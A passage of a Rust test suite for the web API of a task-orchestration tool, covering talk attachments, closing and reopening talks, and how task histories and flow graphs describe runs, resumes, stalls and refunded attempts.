15013 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15014 let f = Fixture::start().await;
15015 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15016
15017 let res = f
15020 .post_bytes(
15021 &format!("/api/talks/{id}/attachments"),
15022 &[("Content-Type", "image/png")],
15023 b"<html>not a picture</html>",
15024 )
15025 .await;
15026 assert!((400..500).contains(&res.status), "{}", res.body);
15027 }
15028
15029 #[tokio::test]
15030 async fn an_unknown_attachment_id_is_a_404() {
15031 let f = Fixture::start().await;
15032 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15033
15034 let res = f
15035 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15036 .await;
15037 assert_eq!(res.status, 404, "{}", res.body);
15038 }
15039
15040 #[tokio::test]
15041 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15042 let f = Fixture::start().await;
15043 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15044
15045 let uploaded = f
15046 .post_bytes(
15047 &format!("/api/talks/{id}/attachments"),
15048 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15049 PNG_BYTES,
15050 )
15051 .await;
15052 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15053 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15054
15055 let res = f
15056 .post(
15057 &format!("/api/talks/{id}/say"),
15058 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15059 )
15060 .await;
15061 assert_eq!(res.status, 202, "{}", res.body);
15062 let queued = res.json();
15063 let turns = queued["turns"].as_array().expect("turns array");
15064 assert_eq!(
15065 turns.len(),
15066 1,
15067 "an empty body with an attachment is still a turn: {queued}"
15068 );
15069 assert_eq!(turns[0]["who"], "operator");
15070 assert_eq!(turns[0]["body"], "");
15071 let atts = turns[0]["attachments"]
15072 .as_array()
15073 .expect("attachments array");
15074 assert_eq!(atts.len(), 1);
15075 assert_eq!(atts[0]["id"], att_id);
15076 assert_eq!(atts[0]["mime"], "image/png");
15077
15078 let on_disk = f.talks().get(&id).expect("get");
15081 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15082 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15083 }
15084
15085 #[tokio::test]
15086 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15087 let f = Fixture::start().await;
15088 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15089
15090 let res = f
15091 .post(
15092 &format!("/api/talks/{id}/say"),
15093 Some(&format!(
15094 r#"{{"text":"hi","attachments":["{}"]}}"#,
15095 "a".repeat(32)
15096 )),
15097 )
15098 .await;
15099 assert!((400..500).contains(&res.status), "{}", res.body);
15100 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15101
15102 let on_disk = f.talks().get(&id).expect("get");
15103 assert!(
15104 on_disk.turns.is_empty(),
15105 "a rejected attachment id must not partially record the turn: {:?}",
15106 on_disk.turns
15107 );
15108 }
15109
15110 #[tokio::test]
15111 async fn talk_close_makes_the_talk_refuse_further_turns() {
15112 let f = Fixture::start().await;
15113 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15114
15115 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15116 assert_eq!(closed.status, 200, "{}", closed.body);
15117 assert_eq!(closed.json()["status"], "closed");
15118
15119 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15121 assert_eq!(closed_again.status, 200);
15122 assert_eq!(closed_again.json()["status"], "closed");
15123
15124 let said = f
15125 .post(
15126 &format!("/api/talks/{id}/say"),
15127 Some(r#"{"text":"too late"}"#),
15128 )
15129 .await;
15130 assert_eq!(said.status, 409, "{}", said.body);
15131 }
15132
15133 #[tokio::test]
15134 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15135 let (_tmp, _repo, f) = talk_fixture().await;
15136 let id = f.post("/api/talks", None).await.json()["id"]
15137 .as_str()
15138 .expect("id")
15139 .to_owned();
15140 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15141 assert_eq!(closed.status, 200, "{}", closed.body);
15142
15143 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15144 assert_eq!(reopened.status, 200, "{}", reopened.body);
15145 assert_eq!(reopened.json()["status"], "open");
15146
15147 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15149 assert_eq!(reopened_again.status, 200);
15150 assert_eq!(reopened_again.json()["status"], "open");
15151
15152 let said = f
15153 .post(
15154 &format!("/api/talks/{id}/say"),
15155 Some(r#"{"text":"still there?"}"#),
15156 )
15157 .await;
15158 assert_eq!(
15159 said.status, 202,
15160 "a reopened talk accepts turns again: {}",
15161 said.body
15162 );
15163 }
15164
15165 #[tokio::test]
15166 async fn talk_reopen_on_an_unknown_id_is_404() {
15167 let f = Fixture::start().await;
15168 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15169 assert_eq!(res.status, 404, "{}", res.body);
15170 }
15171
15172 #[tokio::test]
15173 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15174 let f = Fixture::start().await;
15175 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15176
15177 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15178 assert_eq!(deleted.status, 204, "{}", deleted.body);
15179
15180 let after = f.get(&format!("/api/talks/{id}")).await;
15181 assert_eq!(after.status, 404, "{}", after.body);
15182
15183 let listed = f.get("/api/talks").await.json();
15184 assert!(
15185 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15186 "a deleted talk must not linger in the list: {listed}"
15187 );
15188 }
15189
15190 #[tokio::test]
15191 async fn talk_delete_on_an_unknown_id_is_404() {
15192 let f = Fixture::start().await;
15193 let res = f.delete("/api/talks/nonexistent-id").await;
15194 assert_eq!(res.status, 404, "{}", res.body);
15195 }
15196
15197 #[tokio::test]
15201 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15202 let f = Fixture::start().await;
15203 let (a, b, gone) = (
15204 "20260902-140501-aaaa",
15205 "20260902-140502-bbbb",
15206 "20260902-140503-cccc",
15207 );
15208 write_run(&f.runs(), a, RunStatus::Stalled);
15209 let mut review = RunState::new(
15210 PathBuf::from("/repo/magi"),
15211 "main".to_owned(),
15212 "0123456789abcdef".to_owned(),
15213 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15214 .to_owned(),
15215 Config::default(),
15216 );
15217 review.id = b.to_owned();
15218 review.status = RunStatus::Merged;
15219 write_state(&f.runs(), &review);
15220
15221 let mut task = Task::new(
15222 "retry".to_owned(),
15223 "Do the thing".to_owned(),
15224 PathBuf::from("/repo/magi"),
15225 Source::Human,
15226 );
15227 task.start(a.to_owned());
15228 task.stall("quota");
15229 task.start(a.to_owned());
15230 task.start(b.to_owned());
15231 task.start(gone.to_owned());
15232 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15234 f.queue().put(&mut task).expect("file the task");
15235
15236 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15237 assert_eq!(res.status, 200, "{}", res.body);
15238 let v = res.json();
15239 let h = v["history"].as_array().expect("history");
15240 assert_eq!(h.len(), 4, "{v}");
15241 assert_eq!(h[0]["kind"], "competition");
15242 assert_eq!(h[0]["status"], "stalled");
15243 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15244 assert_eq!(h[1]["kind"], "resume", "{v}");
15245 assert!(
15246 h[0]["outcome"]
15247 .as_str()
15248 .unwrap()
15249 .contains("unknown. Pass #2"),
15250 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15251 );
15252 assert!(
15253 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15254 "{v}"
15255 );
15256 assert!(
15257 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15258 "an unrecorded cause must not be narrated as an operator park: {v}"
15259 );
15260 assert_eq!(h[2]["kind"], "review");
15261 assert!(
15262 h[2]["description"]
15263 .as_str()
15264 .unwrap()
15265 .contains("magi/aaaa/A")
15266 );
15267 assert_eq!(h[2]["status"], "merged");
15268 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15269 assert_eq!(v["runs_unreadable"], 1);
15270 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15271 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15272 assert_eq!(nodes[4]["note"], "unreadable");
15273 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15274 assert_eq!(v["instruction"], "Do the thing");
15275 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15276
15277 let run = f.get(&format!("/api/runs/{a}")).await.json();
15279 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15280
15281 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15282 }
15283
15284 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15285 let mut s = RunState::new(
15286 PathBuf::from("/repo/magi"),
15287 "main".to_owned(),
15288 "0123456789abcdef".to_owned(),
15289 "Do it".to_owned(),
15290 Config::default(),
15291 );
15292 s.status = status;
15293 edit(&mut s);
15294 s
15295 }
15296
15297 fn flow_task(runs: &[&str]) -> Task {
15298 let mut t = Task::new(
15299 "t".to_owned(),
15300 "Do it".to_owned(),
15301 PathBuf::from("/repo/magi"),
15302 Source::Human,
15303 );
15304 for r in runs {
15305 t.start((*r).to_owned());
15306 }
15307 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15309 t
15310 }
15311
15312 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15313 let h = task_history(task, |id| {
15314 states
15315 .iter()
15316 .find(|(i, _)| *i == id)
15317 .and_then(|(_, s)| s.clone())
15318 });
15319 task_flow(task, &h, 5, None)
15320 }
15321
15322 #[test]
15323 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15324 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15325 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15326 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15327 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15328 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15329 let run = flow_run(RunStatus::Implementing, |s| {
15330 s.created_at = created;
15331 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15332 s.passes[0].started_at = first;
15333 s.passes[1].started_at = resumed;
15334 });
15335 let mut task = flow_task(&[RUN_X, RUN_X]);
15336 task.created_at = queued;
15337 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15338 task.status = TaskStatus::Held;
15339 task.held_at = Some(held);
15340 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15341 assert_eq!(
15342 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15343 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15344 );
15345 assert!(flow.nodes.iter().all(|n| n.time_expected));
15346 let json = serde_json::to_value(&flow).unwrap();
15347 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15348 assert_eq!(json["nodes"][2]["time_expected"], true);
15349 }
15350
15351 #[test]
15352 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15353 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15354 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15355 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15356 task.held_at = Some(created);
15358 task.blocked_at = Some(created);
15359 for status in [
15360 TaskStatus::Queued,
15361 TaskStatus::Running,
15362 TaskStatus::Blocked,
15363 TaskStatus::Done,
15364 TaskStatus::Failed,
15365 TaskStatus::Parked,
15366 TaskStatus::Held,
15367 ] {
15368 task.status = status;
15369 if status == TaskStatus::Held {
15370 task.held_at = None;
15371 }
15372 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15373 assert_eq!(flow.nodes[1].started_at, Some(created));
15374 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15375 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15376 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15377 let json = serde_json::to_value(&flow).unwrap();
15378 assert!(json["nodes"][3]["started_at"].is_null());
15379 assert_eq!(json["nodes"][3]["time_expected"], true);
15380 }
15381 }
15382
15383 #[test]
15384 fn flow_context_links_do_not_expect_start_times() {
15385 let mut task = flow_task(&[]);
15386 task.source = Source::Agent {
15387 run: "chat-id".to_owned(),
15388 node: "chat".to_owned(),
15389 };
15390 let origin = followup_origin(&fu(None), |_| None, |_| None);
15391 let flow = task_flow(&task, &[], 5, Some(&origin));
15392 for node in &flow.nodes[..2] {
15393 assert!(!node.time_expected);
15394 assert_eq!(node.started_at, None);
15395 }
15396 assert!(flow.nodes[2].time_expected);
15397 }
15398
15399 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15400 crate::queue::FollowUp {
15401 run: "20260901-000000-aaaa".to_owned(),
15402 origin_task: origin_task.map(str::to_owned),
15403 pr: "https://example.com/o/r/pull/1".to_owned(),
15404 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15405 .map(str::to_owned)
15406 .to_vec(),
15407 generation: 1,
15408 }
15409 }
15410
15411 fn parent_task() -> Task {
15412 let mut p = flow_task(&[]);
15413 p.title = "Parent title".to_owned();
15414 p.status = TaskStatus::Done;
15415 p
15416 }
15417
15418 #[test]
15419 fn flow_opens_with_the_parent_task_of_a_followup() {
15420 let p = parent_task();
15421 let pid = p.id.clone();
15422 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15423 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15424 let n = &f.nodes[0];
15425 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15426 assert_eq!(
15427 n.label,
15428 format!("Follow-up of {}", crate::queue::short(&pid))
15429 );
15430 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15431 assert_eq!(n.status, Some("done"));
15432 assert_eq!(n.status_of, "task");
15433 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15434 assert_eq!(f.nodes[1].key, "start");
15435 assert_eq!(f.edges[0].from, "origin");
15436 assert_eq!(
15437 f.edges[0].label,
15438 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15439 );
15440 }
15441
15442 #[test]
15443 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15444 let o = followup_origin(
15445 &fu(Some("gone")),
15446 |_| None,
15447 |_| {
15448 Some(RunState::new(
15449 std::path::PathBuf::from("."),
15450 "main".to_owned(),
15451 "0".to_owned(),
15452 "t".to_owned(),
15453 crate::config::Config::default(),
15454 ))
15455 },
15456 );
15457 assert!(o.parent.is_none());
15458 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15459 let n = &f.nodes[0];
15460 assert_eq!(n.status_of, "run");
15461 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15462 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15463 }
15464
15465 #[test]
15466 fn flow_followup_with_nothing_readable_has_no_link() {
15467 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15468 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15469 let n = &f.nodes[0];
15470 assert_eq!(n.href, None);
15471 assert_eq!(n.note, Some("unreadable"));
15472 assert!(!n.readable);
15473 }
15474
15475 #[test]
15476 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15477 let o = followup_origin(&fu(None), |_| None, |_| None);
15478 let mut t = flow_task(&[]);
15479 t.origin_chat = Some("c1".to_owned());
15480 let f = task_flow(&t, &[], 5, Some(&o));
15481 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15482 t.source = Source::Agent {
15483 run: "c1".to_owned(),
15484 node: crate::queue::CHAT_NODE.to_owned(),
15485 };
15486 let f = task_flow(&t, &[], 5, Some(&o));
15487 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15488 assert_eq!(
15489 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15490 ("chat", "origin")
15491 );
15492 }
15493
15494 #[test]
15495 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15496 let mut p = parent_task();
15497 p.id = "a b/c".to_owned();
15498 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15499 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15500 }
15501
15502 #[test]
15503 fn flow_opens_with_the_chat_that_queued_the_task() {
15504 let mut t = flow_task(&[]);
15505 t.source = Source::Agent {
15506 run: "a b/c".to_owned(),
15507 node: crate::queue::CHAT_NODE.to_owned(),
15508 };
15509 let f = flow_for(&t, &[]);
15510 assert_eq!(f.nodes[0].key, "chat");
15511 assert_eq!(f.nodes[0].kind, "chat");
15512 assert_eq!(
15513 f.nodes[0].label,
15514 format!("Chat {}", crate::queue::short("a b/c"))
15515 );
15516 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15517 assert_eq!(f.nodes[1].key, "start");
15518 assert_eq!(
15519 f.edges[0],
15520 FlowEdge {
15521 from: "chat".to_owned(),
15522 to: "start".to_owned(),
15523 label: "queued from chat".to_owned(),
15524 attempt: AttemptCost::None,
15525 }
15526 );
15527 }
15528
15529 #[test]
15530 fn flow_has_no_chat_box_for_other_sources() {
15531 for source in [
15532 Source::Human,
15533 Source::Issue {
15534 number: 3,
15535 repo: "o/r".to_owned(),
15536 },
15537 Source::Agent {
15538 run: "20260904-014455-ab12".to_owned(),
15539 node: "implement".to_owned(),
15540 },
15541 ] {
15542 let mut t = flow_task(&[]);
15543 t.source = source;
15544 let f = flow_for(&t, &[]);
15545 assert_eq!(f.nodes[0].key, "start");
15546 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15547 assert!(f.edges.iter().all(|e| e.from != "chat"));
15548 }
15549 }
15550
15551 const FA: &str = "20260902-140501-aaaa";
15552 const FB: &str = "20260902-140502-bbbb";
15553
15554 #[test]
15555 fn flow_follows_blocked_retry_merged_to_done() {
15556 let mut t = flow_task(&[FA, FB]);
15557 t.status = TaskStatus::Done;
15558 let f = flow_for(
15559 &t,
15560 &[
15561 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15562 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15563 ],
15564 );
15565 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15566 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15567 assert_eq!(f.edges.len(), 3);
15568 assert_eq!(f.edges[0].label, "claimed");
15569 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15570 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15571 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15572 assert_eq!(
15573 f.nodes[2].href.as_deref(),
15574 Some("#/runs/20260902-140502-bbbb")
15575 );
15576 assert!(f.nodes[2].decided);
15577 }
15578
15579 #[test]
15580 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15581 let quota = || {
15582 flow_run(RunStatus::Stalled, |s| {
15583 s.quota.push(crate::run::QuotaLoss {
15584 seat: "judge-1".to_owned(),
15585 node: "judge".to_owned(),
15586 at: Timestamp::now(),
15587 reset: None,
15588 })
15589 })
15590 };
15591 let mut t = flow_task(&[FA, FA]);
15592 t.status = TaskStatus::Queued;
15593 let f = flow_for(&t, &[(FA, Some(quota()))]);
15594 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15595 assert_eq!(f.nodes[1].note, Some("interrupted"));
15596 assert_eq!(
15597 f.nodes[1].status, None,
15598 "no outcome copied onto an earlier pass"
15599 );
15600 assert_eq!(
15601 f.edges[1].attempt,
15602 AttemptCost::Unknown,
15603 "a resume does not prove the earlier pass was refunded"
15604 );
15605 assert!(f.edges[1].label.contains("resume the same run"));
15606 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15607 assert_eq!(
15608 f.edges[2].label,
15609 "stalled after a resume, refund unknown \u{2192} queued"
15610 );
15611 assert!(!f.nodes[2].decided, "a stall is not a decision");
15612 assert_eq!(f.nodes[2].note, Some("no verdict"));
15613 }
15614
15615 #[test]
15616 fn flow_single_pass_quota_stall_is_refunded() {
15617 let t = flow_task(&[FA]);
15618 let f = flow_for(
15619 &t,
15620 &[(
15621 FA,
15622 Some(flow_run(RunStatus::Stalled, |s| {
15623 s.quota.push(crate::run::QuotaLoss {
15624 seat: "judge-1".to_owned(),
15625 node: "judge".to_owned(),
15626 at: Timestamp::now(),
15627 reset: None,
15628 })
15629 })),
15630 )],
15631 );
15632 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15633 }
15634
15635 #[test]
15636 fn flow_parked_refunds_and_stall_without_quota_spends() {
15637 let mut t = flow_task(&[FA]);
15638 t.status = TaskStatus::Queued;
15639 let f = flow_for(
15640 &t,
15641 &[(
15642 FA,
15643 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15644 )],
15645 );
15646 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15647 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15648 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15649 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15650 assert!(!f.nodes[1].decided);
15651 }
15652
15653 #[test]
15654 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15655 let t = flow_task(&[FA, FB]);
15656 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15657 assert_eq!(f.nodes[1].note, Some("unreadable"));
15658 assert!(!f.nodes[1].readable);
15659 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15660 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15661 }
15662
15663 #[test]
15664 fn flow_names_the_branch_of_a_review_only_run() {
15665 let t = flow_task(&[FA]);
15666 let f = flow_for(
15667 &t,
15668 &[(
15669 FA,
15670 Some(flow_run(RunStatus::Merged, |s| {
15671 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15672 })),
15673 )],
15674 );
15675 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15676 assert_eq!(
15677 f.nodes[1].detail.as_deref(),
15678 Some("review-only run of branch magi/x/A")
15679 );
15680 }
15681
15682 #[test]
15683 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15684 let mut t = flow_task(&[FA]);
15685 t.status = TaskStatus::Held;
15686 let pr = crate::run::PrRecord {
15687 url: "https://example.test/pr/1".to_owned(),
15688 number: 1,
15689 state: "open".to_owned(),
15690 checks: "green".to_owned(),
15691 round: 0,
15692 rounds: 3,
15693 red_at_merge: Vec::new(),
15694 };
15695 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15696 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15697 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15698 t.status = TaskStatus::Done;
15699 let f = flow_for(&t, &[(FA, Some(blocked))]);
15700 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15701 }
15702
15703 #[test]
15704 fn flow_with_no_runs_goes_from_queued_to_queued() {
15705 let t = flow_task(&[]);
15706 let f = flow_for(&t, &[]);
15707 assert_eq!(f.nodes.len(), 2);
15708 assert_eq!(f.edges.len(), 1);
15709 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15710 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15711 }
15712
15713 #[test]
15716 fn a_parked_non_terminal_run_is_explained_as_parked() {
15717 let mut s = RunState::new(
15718 PathBuf::from("/repo/magi"),
15719 "main".to_owned(),
15720 "0123456789abcdef".to_owned(),
15721 "Do it".to_owned(),
15722 Config::default(),
15723 );
15724 s.status = RunStatus::Implementing;
15725 s.parked = true;
15726 let task = Task::new(
15727 "t".to_owned(),
15728 "Do it".to_owned(),
15729 PathBuf::from("/repo/magi"),
15730 Source::Human,
15731 );
15732 let v = task_run_view(
15733 "20260902-140501-aaaa",
15734 Some(&s),
15735 RunSlot {
15736 n: 1,
15737 resumed: false,
15738 resumed_later: None,
15739 prior: None,
15740 last: true,
15741 ..RunSlot::default()
15742 },
15743 &task,
15744 );
15745 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15746 }
15747
15748 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15749 let mut s = flow_run(RunStatus::Implementing, edit);
15750 s.parked = false;
15751 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15752 task_run_view(
15753 "20260902-140501-aaaa",
15754 Some(&s),
15755 RunSlot {
15756 n: 1,
15757 resumed: false,
15758 resumed_later: Some(2),
15759 prior: None,
15760 last: false,
15761 ..RunSlot::default()
15762 },
15763 &task,
15764 )
15765 }
15766
15767 #[test]
15768 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15769 let v = earlier_pass_view(|_| {});
15770 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15771 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15772 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15773 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15774 assert_eq!(v.exit, RunExit::Interrupted);
15775 assert_eq!(v.attempt, AttemptCost::Unknown);
15776 }
15777
15778 #[test]
15779 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15780 let v = earlier_pass_view(|s| {
15781 s.quota.push(crate::run::QuotaLoss {
15782 seat: "judge-1".to_owned(),
15783 node: "judge".to_owned(),
15784 at: Timestamp::now(),
15785 reset: None,
15786 });
15787 });
15788 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15789 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15790 assert_eq!(v.attempt, AttemptCost::Unknown);
15791 }
15792
15793 #[test]
15794 fn the_current_pass_states_its_recorded_cause_and_cost() {
15795 let slot = || RunSlot {
15796 n: 1,
15797 resumed: false,
15798 resumed_later: None,
15799 prior: None,
15800 last: true,
15801 ..RunSlot::default()
15802 };
15803 let task = flow_task(&["20260902-140501-aaaa"]);
15804 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15805 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15806 assert_eq!(
15807 (v.exit, v.attempt),
15808 (RunExit::Parked, AttemptCost::Refunded)
15809 );
15810 let spent = flow_run(RunStatus::Blocked, |_| {});
15811 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15812 assert_eq!(v.attempt, AttemptCost::Spent);
15813 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15814 }
15815
15816 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15817 crate::run::RunPass {
15818 index,
15819 started_at: Timestamp::now(),
15820 resumed: index > 0,
15821 ended_at: end.as_ref().map(|_| Timestamp::now()),
15822 end,
15823 task_entry: true,
15824 }
15825 }
15826
15827 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15828 Some(crate::run::PassEnd::Parked { cause })
15829 }
15830
15831 fn upgrade_cause() -> crate::run::ParkCause {
15832 crate::run::ParkCause::Upgrade {
15833 from: "0.121.0".to_owned(),
15834 to: Some("0.121.1".to_owned()),
15835 }
15836 }
15837
15838 fn settled_pass(
15839 run: &str,
15840 index: usize,
15841 cost: crate::queue::PassCost,
15842 ) -> crate::queue::TaskPass {
15843 crate::queue::TaskPass {
15844 run: run.to_owned(),
15845 pass_index: index,
15846 started_at: None,
15847 cost,
15848 attempts_after: 1,
15849 settled_at: Timestamp::now(),
15850 parked: None,
15851 }
15852 }
15853
15854 const RUN_X: &str = "20261011-223708-4334";
15855
15856 #[test]
15857 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15858 use crate::queue::PassCost;
15859 let run = flow_run(RunStatus::Implementing, |s| {
15860 s.passes = vec![
15861 recorded_pass(0, parked(upgrade_cause())),
15862 recorded_pass(1, None),
15863 ];
15864 });
15865 let mut task = flow_task(&[RUN_X, RUN_X]);
15866 task.attempts = 1;
15867 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15868 let h = task_history(&task, |_| Some(run.clone()));
15869 assert_eq!(h.len(), 2);
15870 assert_eq!(h[0].kind, "competition");
15871 assert_eq!(h[1].kind, "resume");
15872 assert_eq!(
15873 (h[0].exit, h[0].attempt),
15874 (RunExit::Parked, AttemptCost::Refunded)
15875 );
15876 assert!(
15877 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15878 "{}",
15879 h[0].outcome
15880 );
15881 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15882 assert!(
15883 h[0].outcome.contains("pass #2 resumed the same run"),
15884 "{}",
15885 h[0].outcome
15886 );
15887 assert!(
15888 h[0].outcome.contains("pass 1 of 2 over run"),
15889 "{}",
15890 h[0].outcome
15891 );
15892 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15893 assert_eq!(
15894 h[0].exit_label,
15895 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15896 );
15897 let f = task_flow(&task, &h, 2, None);
15898 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15900 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15901 assert!(
15902 f.edges[1].label.contains("upgrade 0.121.0"),
15903 "{}",
15904 f.edges[1].label
15905 );
15906 assert!(
